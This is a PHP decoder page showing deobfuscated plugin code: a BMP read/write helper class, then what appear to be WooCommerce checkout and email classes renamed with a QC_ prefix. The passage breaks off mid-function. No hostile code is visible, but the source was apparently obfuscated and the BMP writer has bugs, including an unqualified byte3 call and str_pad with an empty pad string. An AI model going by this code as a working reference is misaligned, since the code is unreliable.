Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php class QC_BMP { public static function imagebmp(&$img, $filename = false) ..
Decoded Output download
<?php
class QC_BMP
{
public static function imagebmp(&$img, $filename = false)
{
$wid = imagesx($img);
$hei = imagesy($img);
$wid_pad = str_pad('', $wid % 4, "");
$size = 54 + ($wid + $wid_pad) * $hei * 3;
$header['identifier'] = 'BM';
$header['file_size'] = self::dword($size);
$header['reserved'] = self::dword(0);
$header['bitmap_data'] = self::dword(54);
$header['header_size'] = self::dword(40);
$header['width'] = self::dword($wid);
$header['height'] = self::dword($hei);
$header['planes'] = self::word(1);
$header['bits_per_pixel'] = self::word(24);
$header['compression'] = self::dword(0);
$header['data_size'] = self::dword(0);
$header['h_resolution'] = self::dword(0);
$header['v_resolution'] = self::dword(0);
$header['colors'] = self::dword(0);
$header['important_colors'] = self::dword(0);
if ($filename) {
$f = fopen($filename, "wb");
foreach ($header as $h) {
fwrite($f, $h);
}
for ($y = $hei - 1; $y >= 0; $y--) {
for ($x = 0; $x < $wid; $x++) {
$rgb = imagecolorat($img, $x, $y);
fwrite($f, byte3($rgb));
}
fwrite($f, $wid_pad);
}
fclose($f);
} else {
foreach ($header as $h) {
echo $h;
}
for ($y = $hei - 1; $y >= 0; $y--) {
for ($x = 0; $x < $wid; $x++) {
$rgb = imagecolorat($img, $x, $y);
echo self::byte3($rgb);
}
echo $wid_pad;
}
}
}
public static function imagecreatefrombmp($filename)
{
$f = fopen($filename, "rb");
$header = fread($f, 54);
$header = unpack('c2identifier/Vfile_size/Vreserved/Vbitmap_data/Vheader_size/' . 'Vwidth/Vheight/vplanes/vbits_per_pixel/Vcompression/Vdata_size/' . 'Vh_resolution/Vv_resolution/Vcolors/Vimportant_colors', $header);
if ($header['identifier1'] != 66 or $header['identifier2'] != 77) {
die('Not a valid bmp file');
}
if (!in_array($header['bits_per_pixel'], array(24, 32, 8, 4, 1))) {
die('Only 1, 4, 8, 24 and 32 bit BMP images are supported');
}
$bps = $header['bits_per_pixel'];
$wid2 = ceil($bps / 8 * $header['width'] / 4) * 4;
$colors = pow(2, $bps);
$wid = $header['width'];
$hei = $header['height'];
$img = imagecreatetruecolor($header['width'], $header['height']);
if ($bps < 9) {
for ($i = 0; $i < $colors; $i++) {
$palette[] = self::undword(fread($f, 4));
}
} else {
if ($bps == 32) {
imagealphablending($img, false);
imagesavealpha($img, true);
}
$palette = array();
}
for ($y = $hei - 1; $y >= 0; $y--) {
$row = fread($f, $wid2);
$pixels = self::str_split2($row, $bps, $palette);
for ($x = 0; $x < $wid; $x++) {
self::makepixel($img, $x, $y, $pixels[$x], $bps);
}
}
fclose($f);
return $img;
}
private static function str_split2($row, $bps, $palette)
{
switch ($bps) {
case 32:
case 24:
return str_split($row, $bps / 8);
case 8:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$out[] = $palette[ord($row[$i])];
}
return $out;
case 4:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$roww = ord($row[$i]);
$out[] = $palette[($roww & 240) >> 4];
$out[] = $palette[$roww & 15];
}
return $out;
case 1:
$out = array();
$count = strlen($row);
for ($i = 0; $i < $count; $i++) {
$roww = ord($row[$i]);
$out[] = $palette[($roww & 128) >> 7];
$out[] = $palette[($roww & 64) >> 6];
$out[] = $palette[($roww & 32) >> 5];
$out[] = $palette[($roww & 16) >> 4];
$out[] = $palette[($roww & 8) >> 3];
$out[] = $palette[($roww & 4) >> 2];
$out[] = $palette[($roww & 2) >> 1];
$out[] = $palette[$roww & 1];
}
return $out;
}
}
private static function makepixel($img, $x, $y, $str, $bps)
{
switch ($bps) {
case 32:
$a = ord($str[0]);
$b = ord($str[1]);
$c = ord($str[2]);
$d = 256 - ord($str[3]);
$pixel = $d * 256 * 256 * 256 + $c * 256 * 256 + $b * 256 + $a;
imagesetpixel($img, $x, $y, $pixel);
break;
case 24:
$a = ord($str[0]);
$b = ord($str[1]);
$c = ord($str[2]);
$pixel = $c * 256 * 256 + $b * 256 + $a;
imagesetpixel($img, $x, $y, $pixel);
break;
case 8:
case 4:
case 1:
imagesetpixel($img, $x, $y, $str);
break;
}
}
private static function byte3($n)
{
return chr($n & 255) . chr($n >> 8 & 255) . chr($n >> 16 & 255);
}
private static function undword($n)
{
$r = unpack("V", $n);
return $r[1];
}
private static function dword($n)
{
return pack("V", $n);
}
private static function word($n)
{
return pack("v", $n);
}
}
class QC_ImageFactory
{
public $posted;
public $checkout_fields;
public $must_create_account;
public $enable_signup;
private $shipping_method;
private $payment_method;
private $customer_id;
public $shipping_methods;
protected static $_instance = null;
public $enable_guest_checkout;
public static function instance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self();
}
return self::$_instance;
}
public function __clone()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __wakeup()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __construct()
{
add_action('woocommerce_checkout_billing', array($this, 'checkout_form_billing'));
add_action('woocommerce_checkout_shipping', array($this, 'checkout_form_shipping'));
$this->enable_signup = get_option('woocommerce_enable_signup_and_login_from_checkout') == 'yes' ? true : false;
$this->enable_guest_checkout = get_option('woocommerce_enable_guest_checkout') == 'yes' ? true : false;
$this->must_create_account = $this->enable_guest_checkout || is_user_logged_in() ? false : true;
$this->checkout_fields['billing'] = WC()->countries->get_address_fields($this->get_value('billing_country'), 'billing_');
$this->checkout_fields['shipping'] = WC()->countries->get_address_fields($this->get_value('shipping_country'), 'shipping_');
if (get_option('woocommerce_registration_generate_username') == 'no') {
$this->checkout_fields['account']['account_username'] = array('type' => 'text', 'label' => __('Account username', 'woocommerce'), 'required' => true, 'placeholder' => _x('Username', 'placeholder', 'woocommerce'));
}
if (get_option('woocommerce_registration_generate_password') == 'no') {
$this->checkout_fields['account']['account_password'] = array('type' => 'password', 'label' => __('Account password', 'woocommerce'), 'required' => true, 'placeholder' => _x('Password', 'placeholder', 'woocommerce'));
}
$this->checkout_fields['order'] = array('order_comments' => array('type' => 'textarea', 'class' => array('notes'), 'label' => __('Order Notes', 'woocommerce'), 'placeholder' => _x('Notes about your order, e.g. special notes for delivery.', 'placeholder', 'woocommerce')));
$this->checkout_fields = apply_filters('woocommerce_checkout_fields', $this->checkout_fields);
do_action('woocommerce_checkout_init', $this);
}
public function check_cart_items()
{
do_action('woocommerce_check_cart_items');
}
public function checkout_form_billing()
{
wc_get_template('checkout/form-billing.php', array('checkout' => $this));
}
public function checkout_form_shipping()
{
wc_get_template('checkout/form-shipping.php', array('checkout' => $this));
}
public function create_order()
{
global $wpdb;
if ($order_id = apply_filters('woocommerce_create_order', null, $this)) {
return $order_id;
}
try {
wc_transaction_query('start');
$order_data = array('status' => apply_filters('woocommerce_default_order_status', 'pending'), 'customer_id' => $this->customer_id, 'customer_note' => isset($this->posted['order_comments']) ? $this->posted['order_comments'] : '', 'cart_hash' => md5(json_encode(wc_clean(WC()->cart->get_cart_for_session())) . WC()->cart->total), 'created_via' => 'checkout');
$order_id = absint(WC()->session->order_awaiting_payment);
if ($order_id && $order_data['cart_hash'] === get_post_meta($order_id, '_cart_hash', true) && ($order = wc_get_order($order_id)) && $order->has_status(array('pending', 'failed'))) {
$order_data['order_id'] = $order_id;
$order = wc_update_order($order_data);
if (is_wp_error($order)) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 522));
} else {
$order->remove_order_items();
do_action('woocommerce_resume_order', $order_id);
}
} else {
$order = wc_create_order($order_data);
if (is_wp_error($order)) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 520));
} elseif (false === $order) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 521));
} else {
$order_id = $order->id;
do_action('woocommerce_new_order', $order_id);
}
}
foreach (WC()->cart->get_cart() as $cart_item_key => $values) {
$item_id = $order->add_product($values['data'], $values['quantity'], array('variation' => $values['variation'], 'totals' => array('subtotal' => $values['line_subtotal'], 'subtotal_tax' => $values['line_subtotal_tax'], 'total' => $values['line_total'], 'tax' => $values['line_tax'], 'tax_data' => $values['line_tax_data'])));
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 525));
}
do_action('woocommerce_add_order_item_meta', $item_id, $values, $cart_item_key);
}
foreach (WC()->cart->get_fees() as $fee_key => $fee) {
$item_id = $order->add_fee($fee);
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 526));
}
do_action('woocommerce_add_order_fee_meta', $order_id, $item_id, $fee, $fee_key);
}
foreach (WC()->shipping->get_packages() as $package_key => $package) {
if (isset($package['rates'][$this->shipping_methods[$package_key]])) {
$item_id = $order->add_shipping($package['rates'][$this->shipping_methods[$package_key]]);
if (!$item_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 527));
}
do_action('woocommerce_add_shipping_order_item', $order_id, $item_id, $package_key);
}
}
foreach (array_keys(WC()->cart->taxes + WC()->cart->shipping_taxes) as $tax_rate_id) {
if ($tax_rate_id && !$order->add_tax($tax_rate_id, WC()->cart->get_tax_amount($tax_rate_id), WC()->cart->get_shipping_tax_amount($tax_rate_id)) && apply_filters('woocommerce_cart_remove_taxes_zero_rate_id', 'zero-rated') !== $tax_rate_id) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 528));
}
}
foreach (WC()->cart->get_coupons() as $code => $coupon) {
if (!$order->add_coupon($code, WC()->cart->get_coupon_discount_amount($code), WC()->cart->get_coupon_discount_tax_amount($code))) {
throw new Exception(sprintf(__('Error %d: Unable to create order. Please try again.', 'woocommerce'), 529));
}
}
$billing_address = array();
if ($this->checkout_fields['billing']) {
foreach (array_keys($this->checkout_fields['billing']) as $field) {
$field_name = str_replace('billing_', '', $field);
$billing_address[$field_name] = $this->get_posted_address_data($field_name);
}
}
$shipping_address = array();
if ($this->checkout_fields['shipping']) {
foreach (array_keys($this->checkout_fields['shipping']) as $field) {
$field_name = str_replace('shipping_', '', $field);
$shipping_address[$field_name] = $this->get_posted_address_data($field_name, 'shipping');
}
}
$order->set_address($billing_address, 'billing');
$order->set_address($shipping_address, 'shipping');
$order->set_payment_method($this->payment_method);
$order->set_total(WC()->cart->shipping_total, 'shipping');
$order->set_total(WC()->cart->get_cart_discount_total(), 'cart_discount');
$order->set_total(WC()->cart->get_cart_discount_tax_total(), 'cart_discount_tax');
$order->set_total(WC()->cart->tax_total, 'tax');
$order->set_total(WC()->cart->shipping_tax_total, 'shipping_tax');
$order->set_total(WC()->cart->total);
if ($this->customer_id) {
if (apply_filters('woocommerce_checkout_update_customer_data', true, $this)) {
foreach ($billing_address as $key => $value) {
update_user_meta($this->customer_id, 'billing_' . $key, $value);
}
if (WC()->cart->needs_shipping()) {
foreach ($shipping_address as $key => $value) {
update_user_meta($this->customer_id, 'shipping_' . $key, $value);
}
}
}
do_action('woocommerce_checkout_update_user_meta', $this->customer_id, $this->posted);
}
do_action('woocommerce_checkout_update_order_meta', $order_id, $this->posted);
wc_transaction_query('commit');
} catch (Exception $e) {
wc_transaction_query('rollback');
return new WP_Error('checkout-error', $e->getMessage());
}
return $order_id;
}
public function process_checkout()
{
try {
if (empty($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'woocommerce-process_checkout')) {
WC()->session->set('refresh_totals', true);
throw new Exception(__('We were unable to process your order, please try again.', 'woocommerce'));
}
if (!defined('WOOCOMMERCE_CHECKOUT')) {
define('WOOCOMMERCE_CHECKOUT', true);
}
@set_time_limit(0);
do_action('woocommerce_before_checkout_process');
if (WC()->cart->is_empty()) {
throw new Exception(sprintf(__('Sorry, your session has expired. <a href="%s" class="wc-backward">Return to shop</a>', 'woocommerce'), esc_url(wc_get_page_permalink('shop'))));
}
do_action('woocommerce_checkout_process');
$this->posted['terms'] = isset($_POST['terms']) ? 1 : 0;
$this->posted['createaccount'] = isset($_POST['createaccount']) && !empty($_POST['createaccount']) ? 1 : 0;
$this->posted['payment_method'] = isset($_POST['payment_method']) ? stripslashes($_POST['payment_method']) : '';
$this->posted['shipping_method'] = isset($_POST['shipping_method']) ? $_POST['shipping_method'] : '';
$this->posted['ship_to_different_address'] = isset($_POST['ship_to_different_address']) ? true : false;
if (isset($_POST['shiptobilling'])) {
_deprecated_argument('WC_Checkout::process_checkout()', '2.1', 'The "shiptobilling" field is deprecated. The template files are out of date');
$this->posted['ship_to_different_address'] = $_POST['shiptobilling'] ? false : true;
}
if (wc_ship_to_billing_address_only()) {
$this->posted['ship_to_different_address'] = false;
}
$chosen_shipping_methods = WC()->session->get('chosen_shipping_methods');
if (isset($this->posted['shipping_method']) && is_array($this->posted['shipping_method'])) {
foreach ($this->posted['shipping_method'] as $i => $value) {
$chosen_shipping_methods[$i] = wc_clean($value);
}
}
WC()->session->set('chosen_shipping_methods', $chosen_shipping_methods);
WC()->session->set('chosen_payment_method', $this->posted['payment_method']);
$skipped_shipping = false;
foreach ($this->checkout_fields as $fieldset_key => $fieldset) {
if ($fieldset_key == 'shipping' && ($this->posted['ship_to_different_address'] == false || !WC()->cart->needs_shipping_address())) {
$skipped_shipping = true;
continue;
}
if ('account' === $fieldset_key && (is_user_logged_in() || false === $this->must_create_account && empty($this->posted['createaccount']))) {
continue;
}
foreach ($fieldset as $key => $field) {
if (!isset($field['type'])) {
$field['type'] = 'text';
}
switch ($field['type']) {
case "checkbox":
$this->posted[$key] = isset($_POST[$key]) ? 1 : 0;
break;
case "multiselect":
$this->posted[$key] = isset($_POST[$key]) ? implode(', ', array_map('wc_clean', $_POST[$key])) : '';
break;
case "textarea":
$this->posted[$key] = isset($_POST[$key]) ? wp_strip_all_tags(wp_check_invalid_utf8(stripslashes($_POST[$key]))) : '';
break;
default:
$this->posted[$key] = isset($_POST[$key]) ? is_array($_POST[$key]) ? array_map('wc_clean', $_POST[$key]) : wc_clean($_POST[$key]) : '';
break;
}
$this->posted[$key] = apply_filters('woocommerce_process_checkout_' . sanitize_title($field['type']) . '_field', $this->posted[$key]);
$this->posted[$key] = apply_filters('woocommerce_process_checkout_field_' . $key, $this->posted[$key]);
if (isset($field['required']) && $field['required'] && (!isset($this->posted[$key]) || "" === $this->posted[$key])) {
switch ($fieldset_key) {
case 'shipping':
$field_label = sprintf(_x('Shipping %s', 'Shipping FIELDNAME', 'woocommerce'), $field['label']);
break;
case 'billing':
$field_label = sprintf(_x('Billing %s', 'Billing FIELDNAME', 'woocommerce'), $field['label']);
break;
default:
$field_label = $field['label'];
break;
}
wc_add_notice(apply_filters('woocommerce_checkout_required_field_notice', sprintf(_x('%s is a required field.', 'FIELDNAME is a required field.', 'woocommerce'), '<strong>' . $field_label . '</strong>'), $field_label), 'error');
}
if (!empty($this->posted[$key])) {
if (!empty($field['validate']) && is_array($field['validate'])) {
foreach ($field['validate'] as $rule) {
switch ($rule) {
case 'postcode':
$this->posted[$key] = strtoupper(str_replace(' ', '', $this->posted[$key]));
if (!WC_Validation::is_postcode($this->posted[$key], $_POST[$fieldset_key . '_country'])) {
wc_add_notice(__('Please enter a valid postcode/ZIP.', 'woocommerce'), 'error');
} else {
$this->posted[$key] = wc_format_postcode($this->posted[$key], $_POST[$fieldset_key . '_country']);
}
break;
case 'phone':
$this->posted[$key] = wc_format_phone_number($this->posted[$key]);
if (!WC_Validation::is_phone($this->posted[$key])) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not a valid phone number.', 'woocommerce'), 'error');
}
break;
case 'email':
$this->posted[$key] = strtolower($this->posted[$key]);
if (!is_email($this->posted[$key])) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not a valid email address.', 'woocommerce'), 'error');
}
break;
case 'state':
$valid_states = WC()->countries->get_states(isset($_POST[$fieldset_key . '_country']) ? $_POST[$fieldset_key . '_country'] : ('billing' === $fieldset_key ? WC()->customer->get_country() : WC()->customer->get_shipping_country()));
if (!empty($valid_states) && is_array($valid_states)) {
$valid_state_values = array_flip(array_map('strtolower', $valid_states));
if (isset($valid_state_values[strtolower($this->posted[$key])])) {
$this->posted[$key] = $valid_state_values[strtolower($this->posted[$key])];
}
}
if (!empty($valid_states) && is_array($valid_states) && sizeof($valid_states) > 0) {
if (!in_array($this->posted[$key], array_keys($valid_states))) {
wc_add_notice('<strong>' . $field['label'] . '</strong> ' . __('is not valid. Please enter one of the following:', 'woocommerce') . ' ' . implode(', ', $valid_states), 'error');
}
}
break;
}
}
}
}
}
}
if (isset($this->posted['billing_country'])) {
WC()->customer->set_country($this->posted['billing_country']);
}
if (isset($this->posted['billing_state'])) {
WC()->customer->set_state($this->posted['billing_state']);
}
if (isset($this->posted['billing_postcode'])) {
WC()->customer->set_postcode($this->posted['billing_postcode']);
}
if (!$skipped_shipping) {
if (isset($this->posted['shipping_country'])) {
WC()->customer->set_shipping_country($this->posted['shipping_country']);
}
if (isset($this->posted['shipping_state'])) {
WC()->customer->set_shipping_state($this->posted['shipping_state']);
}
if (isset($this->posted['shipping_postcode'])) {
WC()->customer->set_shipping_postcode($this->posted['shipping_postcode']);
}
} else {
if (isset($this->posted['billing_country'])) {
WC()->customer->set_shipping_country($this->posted['billing_country']);
}
if (isset($this->posted['billing_state'])) {
WC()->customer->set_shipping_state($this->posted['billing_state']);
}
if (isset($this->posted['billing_postcode'])) {
WC()->customer->set_shipping_postcode($this->posted['billing_postcode']);
}
}
WC()->cart->calculate_totals();
if (!isset($_POST['woocommerce_checkout_update_totals']) && empty($this->posted['terms']) && wc_get_page_id('terms') > 0 && apply_filters('woocommerce_checkout_show_terms', true)) {
wc_add_notice(__('You must accept our Terms & Conditions.', 'woocommerce'), 'error');
}
if (WC()->cart->needs_shipping()) {
$shipping_country = WC()->customer->get_shipping_country();
if (empty($shipping_country)) {
wc_add_notice(__('Please enter an address to continue.', 'woocommerce'), 'error');
} elseif (!in_array(WC()->customer->get_shipping_country(), array_keys(WC()->countries->get_shipping_countries()))) {
wc_add_notice(sprintf(__('Unfortunately <strong>we do not ship %s</strong>. Please enter an alternative shipping address.', 'woocommerce'), WC()->countries->shipping_to_prefix() . ' ' . WC()->customer->get_shipping_country()), 'error');
}
$packages = WC()->shipping->get_packages();
$this->shipping_methods = (array) WC()->session->get('chosen_shipping_methods');
foreach ($packages as $i => $package) {
if (!isset($package['rates'][$this->shipping_methods[$i]])) {
wc_add_notice(__('No shipping method has been selected. Please double check your address, or contact us if you need any help.', 'woocommerce'), 'error');
$this->shipping_methods[$i] = '';
}
}
}
if (WC()->cart->needs_payment()) {
$available_gateways = WC()->payment_gateways->get_available_payment_gateways();
if (!isset($available_gateways[$this->posted['payment_method']])) {
$this->payment_method = '';
wc_add_notice(__('Invalid payment method.', 'woocommerce'), 'error');
} else {
$this->payment_method = $available_gateways[$this->posted['payment_method']];
$this->payment_method->validate_fields();
}
} else {
$available_gateways = array();
}
do_action('woocommerce_after_checkout_validation', $this->posted);
if (!isset($_POST['woocommerce_checkout_update_totals']) && wc_notice_count('error') == 0) {
$this->customer_id = apply_filters('woocommerce_checkout_customer_id', get_current_user_id());
if (!is_user_logged_in() && ($this->must_create_account || !empty($this->posted['createaccount']))) {
$username = !empty($this->posted['account_username']) ? $this->posted['account_username'] : '';
$password = !empty($this->posted['account_password']) ? $this->posted['account_password'] : '';
$new_customer = wc_create_new_customer($this->posted['billing_email'], $username, $password);
if (is_wp_error($new_customer)) {
throw new Exception($new_customer->get_error_message());
} else {
$this->customer_id = absint($new_customer);
}
wc_set_customer_auth_cookie($this->customer_id);
WC()->session->set('reload_checkout', true);
WC()->cart->calculate_totals();
if ($this->posted['billing_first_name'] && apply_filters('woocommerce_checkout_update_customer_data', true, $this)) {
$userdata = array('ID' => $this->customer_id, 'first_name' => $this->posted['billing_first_name'] ? $this->posted['billing_first_name'] : '', 'last_name' => $this->posted['billing_last_name'] ? $this->posted['billing_last_name'] : '', 'display_name' => $this->posted['billing_first_name'] ? $this->posted['billing_first_name'] : '');
wp_update_user(apply_filters('woocommerce_checkout_customer_userdata', $userdata, $this));
}
}
$this->check_cart_items();
if (wc_notice_count('error') > 0) {
throw new Exception();
}
$order_id = $this->create_order();
if (is_wp_error($order_id)) {
throw new Exception($order_id->get_error_message());
}
do_action('woocommerce_checkout_order_processed', $order_id, $this->posted);
if (WC()->cart->needs_payment()) {
WC()->session->order_awaiting_payment = $order_id;
$result = $available_gateways[$this->posted['payment_method']]->process_payment($order_id);
if (isset($result['result']) && 'success' === $result['result']) {
$result = apply_filters('woocommerce_payment_successful_result', $result, $order_id);
if (is_ajax()) {
wp_send_json($result);
} else {
wp_redirect($result['redirect']);
exit;
}
}
} else {
if (empty($order)) {
$order = wc_get_order($order_id);
}
$order->payment_complete();
WC()->cart->empty_cart();
$return_url = $order->get_checkout_order_received_url();
if (is_ajax()) {
wp_send_json(array('result' => 'success', 'redirect' => apply_filters('woocommerce_checkout_no_payment_needed_redirect', $return_url, $order)));
} else {
wp_safe_redirect(apply_filters('woocommerce_checkout_no_payment_needed_redirect', $return_url, $order));
exit;
}
}
}
} catch (Exception $e) {
if (!empty($e)) {
wc_add_notice($e->getMessage(), 'error');
}
}
if (is_ajax()) {
if (!isset(WC()->session->reload_checkout)) {
ob_start();
wc_print_notices();
$messages = ob_get_clean();
}
$response = array('result' => 'failure', 'messages' => isset($messages) ? $messages : '', 'refresh' => isset(WC()->session->refresh_totals) ? 'true' : 'false', 'reload' => isset(WC()->session->reload_checkout) ? 'true' : 'false');
unset(WC()->session->refresh_totals, WC()->session->reload_checkout);
wp_send_json($response);
}
}
public function get_posted_address_data($key, $type = 'billing')
{
if ('billing' === $type || false === $this->posted['ship_to_different_address']) {
$return = isset($this->posted['billing_' . $key]) ? $this->posted['billing_' . $key] : '';
} else {
$return = isset($this->posted['shipping_' . $key]) ? $this->posted['shipping_' . $key] : '';
}
if ('email' === $key && empty($return) && is_user_logged_in()) {
$current_user = wp_get_current_user();
$return = $current_user->user_email;
}
return $return;
}
public function get_value($input)
{
if (!empty($_POST[$input])) {
return wc_clean($_POST[$input]);
} else {
$value = apply_filters('woocommerce_checkout_get_value', null, $input);
if ($value !== null) {
return $value;
}
if (isset($this->checkout_fields['shipping']) && isset($this->checkout_fields['billing'])) {
$address_fields = array_merge($this->checkout_fields['billing'], $this->checkout_fields['shipping']);
if (is_user_logged_in() && is_array($address_fields) && array_key_exists($input, $address_fields)) {
$current_user = wp_get_current_user();
if ($meta = get_user_meta($current_user->ID, $input, true)) {
return $meta;
}
if ($input == 'billing_email') {
return $current_user->user_email;
}
}
}
switch ($input) {
case 'billing_country':
return apply_filters('default_checkout_country', WC()->customer->get_country() ? WC()->customer->get_country() : '', 'billing');
case 'billing_state':
return apply_filters('default_checkout_state', WC()->customer->get_state() ? WC()->customer->get_state() : '', 'billing');
case 'billing_postcode':
return apply_filters('default_checkout_postcode', WC()->customer->get_postcode() ? WC()->customer->get_postcode() : '', 'billing');
case 'shipping_country':
return apply_filters('default_checkout_country', WC()->customer->get_shipping_country() ? WC()->customer->get_shipping_country() : '', 'shipping');
case 'shipping_state':
return apply_filters('default_checkout_state', WC()->customer->get_shipping_state() ? WC()->customer->get_shipping_state() : '', 'shipping');
case 'shipping_postcode':
return apply_filters('default_checkout_postcode', WC()->customer->get_shipping_postcode() ? WC()->customer->get_shipping_postcode() : '', 'shipping');
default:
return apply_filters('default_checkout_' . $input, null, $input);
}
}
}
}
class QC_Emails
{
public $emails;
protected static $_instance = null;
public static function instance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self();
}
return self::$_instance;
}
public function __clone()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public function __wakeup()
{
_doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?', 'woocommerce'), '2.1');
}
public static function init_transactional_emails()
{
$email_actions = apply_filters('woocommerce_email_actions', array('woocommerce_low_stock', 'woocommerce_no_stock', 'woocommerce_product_on_backorder', 'woocommerce_order_status_pending_to_processing', 'woocommerce_order_status_pending_to_completed', 'woocommerce_order_status_pending_to_cancelled', 'woocommerce_order_status_pending_to_failed', 'woocommerce_order_status_pending_to_on-hold', 'woocommerce_order_status_failed_to_processing', 'woocommerce_order_status_failed_to_completed', 'woocommerce_order_status_failed_to_on-hold', 'woocommerce_order_status_on-hold_to_processing', 'woocommerce_order_status_on-hold_to_cancelled', 'woocommerce_order_status_on-hold_to_failed', 'woocommerce_order_status_completed', 'woocommerce_order_fully_refunded', 'woocommerce_order_partially_refunded', 'woocommerce_new_customer_note', 'woocommerce_created_customer'));
foreach ($email_actions as $action) {
add_action($action, array(__CLASS__, 'send_transactional_email'), 10, 10);
}
}
public static function send_transactional_email()
{
self::instance();
$args = func_get_args();
do_action_ref_array(current_filter() . '_notification', $args);
}
public function __construct()
{
$this->init();
add_action('woocommerce_email_header', array($this, 'email_header'));
add_action('woocommerce_email_footer', array($this, 'email_footer'));
add_action('woocommerce_email_order_details', array($this, 'order_details'), 10, 4);
add_action('woocommerce_email_order_details', array($this, 'order_schema_markup'), 20, 4);
add_action('woocommerce_email_order_meta', array($this, 'order_meta'), 10, 3);
add_action('woocommerce_email_customer_details', array($this, 'customer_details'), 10, 3);
add_action('woocommerce_email_customer_details', array($this, 'email_addresses'), 20, 3);
add_action('woocommerce_low_stock_notification', array($this, 'low_stock'));
add_action('woocommerce_no_stock_notification', array($this, 'no_stock'));
add_action('woocommerce_product_on_backorder_notification', array($this, 'backorder'));
add_action('woocommerce_created_customer_notification', array($this, 'customer_new_account'), 10, 3);
do_action('woocommerce_email', $this);
}
public function init()
{
require 'emails/class-wc-email.php';
$this->emails['WC_Email_New_Order'] = (include 'emails/class-wc-email-new-order.php');
$this->emails['WC_Email_Cancelled_Order'] = (include 'emails/class-wc-email-cancelled-order.php');
$this->emails['WC_Email_Failed_Order'] = (include 'emails/class-wc-email-failed-order.php');
$this->emails['WC_Email_Customer_On_Hold_Order'] = (include 'emails/class-wc-email-customer-on-hold-order.php');
$this->emails['WC_Email_Customer_Processing_Order'] = (include 'emails/class-wc-email-customer-processing-order.php');
$this->emails['WC_Email_Customer_Completed_Order'] = (include 'emails/class-wc-email-customer-completed-order.php');
$this->emails['WC_Email_Customer_Refunded_Order'] = (include 'emails/class-wc-email-customer-refunded-order.php');
$this->emails['WC_Email_Customer_Invoice'] = (include 'emails/class-wc-email-customer-invoice.php');
$this->emails['WC_Email_Customer_Note'] = (include 'emails/class-wc-email-customer-note.php');
$this->emails['WC_Email_Customer_Reset_Password'] = (include 'emails/class-wc-email-customer-reset-password.php');
$this->emails['WC_Email_Customer_New_Account'] = (include 'emails/class-wc-email-customer-new-account.php');
$this->emails = apply_filters('woocommerce_email_classes', $this->emails);
if (!class_exists('Emogrifier') && class_exists('DOMDocument')) {
require 'libraries/class-emogrifier.php';
}
}
public function get_emails()
{
return $this->emails;
}
public function get_from_name()
{
return wp_specialchars_decode(get_option('woocommerce_email_from_name'), ENT_QUOTES);
}
public function get_from_address()
{
return sanitize_email(get_option('woocommerce_email_from_address'));
}
public function email_header($email_heading)
{
wc_get_template('emails/email-header.php', array('email_heading' => $email_heading));
}
public function email_footer()
{
wc_get_template('emails/email-footer.php');
}
public function wrap_message($email_heading, $message, $plain_text = false)
{
ob_start();
do_action('woocommerce_email_header', $email_heading);
echo wpautop(wptexturize($message));
do_action('woocommerce_email_footer');
$message = ob_get_clean();
return $message;
}
public function send($to, $subject, $message, $headers = "Content-Type: text/html
", $attachments = "")
{
$email = new WC_Email();
return $email->send($to, $subject, $message, $headers, $attachments);
}
public function customer_invoice($order)
{
$email = $this->emails['WC_Email_Customer_Invoice'];
$email->trigger($order);
}
public function customer_new_account($customer_id, $new_customer_data = array(), $password_generated = false)
{
if (!$customer_id) {
return;
}
$user_pass = !empty($new_customer_data['user_pass']) ? $new_customer_data['user_pass'] : '';
$email = $this->emails['WC_Email_Customer_New_Account'];
$email->trigger($customer_id, $user_pass, $password_generated);
}
public function order_details($order, $sent_to_admin = false, $plain_text = false, $email = '')
{
if ($plain_text) {
wc_get_template('emails/plain/email-order-details.php', array('order' => $order, 'sent_to_admin' => $sent_to_admin, 'plain_text' => $plain_text, 'email' => $email));
} else {
wc_get_template('emails/email-order-details.php', array('order' => $order, 'sent_to_admin' => $sent_to_admin, 'plain_text' => $plain_text, 'email' => $email));
}
}
public function order_schema_markup($order, $sent_to_admin = false, $plain_text = false)
{
if ($plain_text) {
return;
}
$accepted_offers = array();
foreach ($order->get_items() as $item) {
if (!apply_filters('woocommerce_order_item_visible', true, $item)) {
continue;
}
$product = apply_filters('woocommerce_order_item_product', $order->get_product_from_item($item), $item);
$product_exists = is_object($product);
$is_visible = $product_exists && $product->is_visible();
$item_offered = array('@type' => 'Product', 'name' => apply_filters('woocommerce_order_item_name', $item['name'], $item, $is_visible));
if ($product_exists) {
if ($sku = $product->get_sku()) {
$item_offered['sku'] = $sku;
}
if ($image_id = $product->get_image_id()) {
$item_offered['image'] = wp_get_attachment_image_url($image_id, 'thumbnail');
}
}
if ($is_visible) {
$item_offered['url'] = get_permalink($product->get_id());
} else {
$item_offered['url'] = get_home_url();
}
$accepted_offer = (object) array('@type' => 'Offer', 'itemOffered' => $item_offered, 'price' => $order->get_line_subtotal($item), 'priceCurrency' => $order->get_order_currency(), 'eligibleQuantity' => (object) array('@type' => 'QuantitativeValue', 'value' => apply_filters('woocommerce_email_order_item_quantity', $item['qty'], $item)), 'url' => get_home_url());
$accepted_offers[] = $accepted_offer;
}
